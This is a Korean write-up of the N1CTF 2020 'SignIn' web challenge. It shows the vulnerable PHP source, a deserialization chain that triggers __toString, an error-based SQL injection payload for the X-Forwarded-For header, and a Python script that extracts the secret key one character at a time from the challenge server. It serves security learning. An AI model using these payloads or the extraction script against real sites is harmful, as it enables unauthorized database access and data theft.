N1CTF 2020 Web SignIn 취약점 분석 및 익스플로잇

N1CTF 2020 웹SignIn 문제의 분석 및 풀이 과정입니다.

취약점 분석

대상 시스템에 접속하면 소스 코드를 얻을 수 있습니다. 코드에는 두 개의 클래스와 `input` GET 파라미터를 받아 역직렬화하는 부분이 포함되어 있어, 역직렬화를 통한 해킹이 문제의 핵심임을 알 수 있습니다.


ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip = $_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con = mysqli_connect("localhost", "root", "********", "n1ctf_websign");
        // XFF 헤더 값을 사용하여 IP 및 시간을 데이터베이스에 삽입
        $sqlquery = sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')", $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']), time());
        if(!mysqli_query($con, $sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}

class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
        // 'key****************' 와 md5 해시값이 일치해야 /flag 파일 읽기 가능
        if(md5($this->check) === md5("key****************")){
            readfile('/flag');
        }
        return $this->ip;
    }
    public function __wakeup(){
        // XFF 헤더에 'n1ctf' 문자열이 포함되어 있으면 ip 값을 변경
        if(stristr($this->ip, "n1ctf") !== False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }
}

// input GET 파라미터를 역직렬화
if(isset($_GET['input'])){
    $input = $_GET['input'];
    unserialize($input);
}
?>

flag 클래스의 getflag() 메소드는 특정 키 값을 알아야 /flag 파일을 읽을 수 있습니다. 이 키는 md5() 함수를 사용한 엄격한 비교(===)를 요구하므로, 다른 방법을 통해 알아내야 합니다.


public function getflag(){
    if(md5($this->check)===md5("key****************")){
        readfile('/flag');
    }
    return $this->ip;
}

ip 클래스의 __toString() 메소드에서 SQL 쿼리 생성 시 $_SERVER['HTTP_X_FORWARDED_FOR'] 값을 사용합니다. 이 값은 HTTP 헤더를 통해 제어할 수 있습니다. __toString() 메소드가 호출되도록 트리거하고, XFF 헤더를 조작하여 SQL Injection을 시도할 수 있습니다.


public function __toString(){
    $con = mysqli_connect("localhost", "root", "********", "n1ctf_websign");
    $sqlquery = sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')", $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']), time());
    if(!mysqli_query($con, $sqlquery)){
        return mysqli_error($con);
    }else{
        return "your ip looks ok!";
    }
    mysqli_close($con);
}

flag 클래스의 __wakeup() 메소드에서 stristr() 함수를 사용하여 대소문자를 구분하지 않고 문자열을 검색합니다. 만약 $this->ip에 객체가 전달되면, __toString() 메소드가 호출됩니다. 따라서 $this->ipnew ip() 객체로 설정하여 ip 클래스의 __toString() 메소드를 호출할 수 있습니다. 다음과 같이 직렬화 데이터를 생성합니다:


$f = new flag(new ip());
echo serialize($f);

생성된 직렬화 데이터를 input GET 파라미터로 전달하고 XFF 헤더를 조작하여 SQL Injection을 시도했지만, 백엔드 코드에서 sleep, benchmark와 같은 문자열을 차단하는 블랙리스트 검증이 존재함을 확인했습니다. 이는 $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']) 부분에서 처리됩니다.

하지만 ip 클래스의 __toString() 메소드는 SQL 실행 성공 시 "your ip looks ok!"를, 실패 시 에러 메시지를 반환합니다. 이 반환 값을 활용하여 에러 메시지에 "n1ctf" 문자열이 포함되도록 SQL Injection을 수행하면 됩니다.

__wakeup() 메소드에서 stristr($this->ip, "n1ctf")를 사용하므로, SQL 에러 메시지에 "n1ctf"가 포함되면 $this->ip"welcome to n1ctf2020"으로 변경됩니다. 이를 통해 SQL 에러 기반의 주입(Error-based SQL Injection)을 활용할 수 있습니다. Payload는 다음과 같습니다:


X-Forwarded-for: ' or updatexml(1,concat(0x7e,(select if((1=1),'n1ctf',0)),0x7e),1) or '

위 페이로드는 updatexml() 함수를 사용하여 SQL 에러를 발생시키고, 조건문 if((1=1),'n1ctf',0)을 통해 "n1ctf" 문자열을 에러 메시지에 포함시킵니다. 이로 인해 __wakeup() 메소드가 트리거되어 $this->ip"welcome to n1ctf2020"으로 변경됩니다. 만약 조건이 거짓이면 "noip"으로 변경됩니다. 이는 부울 기반의 SQL Injection과 유사하게 동작합니다.

Flag 획득

이제 Python 스크립트를 사용하여 n1key 테이블에서 key 값을 추출합니다. key 값은 n1ctf 문자열이 포함된 에러 메시지를 반환하도록 SQL Injection을 수행하여 알아냅니다.


# coding: utf-8

import requests

word = '1234567890qwertyuioplkjhgfdsazxcvbnm'
# 기본 flag 클래스 객체를 역직렬화하는 URL
url = 'http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";s:9:"127.0.0.1";}s:5:"check";N;}'

key_found = ""
for a in range(1, 50): # key 값의 길이 추정
    for ch in word:
        # SQL Injection 페이로드 생성: key 값의 특정 위치 문자가 ch와 일치하는지 확인
        # 일치하면 'n1ctf' 문자열을 에러 메시지에 포함시켜 __wakeup() 트리거
        payload = f'\' or updatexml(1,concat(0x7e,(select if((substring((select `key` from n1key),{a},1)=\'{ch}\'),\'n1ctf\',0)),0x7e),1) or \''

        sess = requests.session()
        head = {'X-Forwarded-for': payload}
        resp = sess.get(url, headers=head)

        # 'welcome to n1ctf2020' 메시지가 응답에 포함되어 있으면 해당 문자가 key 값의 일부
        if 'welcome to n1ctf2020' in resp.text:
            key_found += ch
            print(ch, end='')
            break # 다음 문자로 넘어감

print(f"\nFound key: {key_found}")

추출된 key 값을 사용하여 최종적으로 Flag를 얻기 위한 직렬화 데이터를 생성합니다.


$f = new flag('n1ctf'); // __wakeup() 메소드 트리거를 위해 'n1ctf' 포함
$f->check = '추출된_key_값'; // 예: 'n1ctf20205bf75ab0a30dfc0c'
echo serialize($f);

최종적으로 생성된 직렬화 데이터를 input GET 파라미터로 전달하여 Flag를 획득합니다.

태그: PHP Web Hacking SQL Injection deserialization Error-based Injection

7월 18일 08:16에 게시됨